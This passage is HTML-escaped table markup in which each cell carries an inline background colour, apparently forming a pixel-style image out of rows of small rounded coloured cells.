&lt;td style=&quot;background-color: #2d201f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #422f23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d4027; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #684826; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b3b23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c2e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #311f25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1828; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b192a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1f2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e2230; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2435; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #412d36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #683d37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a393d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a3645; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #58404a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #543d3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b3f38; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #85643c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #96733e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #98743e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b763e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a17b3c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e6938; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #453333; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #342631; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2534; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302533; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d2130; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #312632; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #33252c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322429; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392828; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322227; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352528; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #402e28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f2d27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b2927; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b3728; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #523d28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #473729; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382a29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1f24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201824; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211924; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211924; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231b24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221c25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251d24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #422f24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e3325; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #634126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #543724; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #362122; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1323; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1629; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c182b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #27202f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #412d32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352935; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392c3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #664437; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #745039; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #614740; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b4546; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #614a47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #634637; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #694c35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e5239; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #745639; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a5a37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #765435; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c3532; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e222f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352934; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2d34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b2932; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #312431; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b2332; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #33262f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2029; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352628; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #312128; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302329; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2b29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #372728; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e2c29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a3629; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #443128; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c2c27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #372a28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241a26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1525; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1622; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1623; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1a26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322827; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #452e24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f2823; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392624; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231722; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0e1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221321; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1729; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1b2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #232032; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #372a33; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352a36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2838; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b373a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f433a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #61453b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #60453e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #54454a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #493638; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d3836; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #554136; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #594335; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #483432; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352531; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302431; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2634; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2931; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #49322f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #49332f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b282e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #30222e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e202b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261b29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271c28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1d28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d202a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302228; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352728; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #402e29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #432f28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #412e27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #362827; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271d28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211927; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211824; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #181523; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #161423; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1724; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2423; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1e20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1421; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #181123; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1021; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #26131f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241322; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211121; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1526; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c192d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221f31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a2230; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #282333; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b2535; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e283a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392c3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #45323c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e3b40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #584443; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #513a35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #533e35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c3935; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2b32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #362934; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f2f35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f2e31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #433133; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #483231; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f362f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #51382e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #432b29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #372226; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e1c25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221625; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241726; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271b27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2029; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1d27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #342528; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #45322a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #412e28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #342426; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201626; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
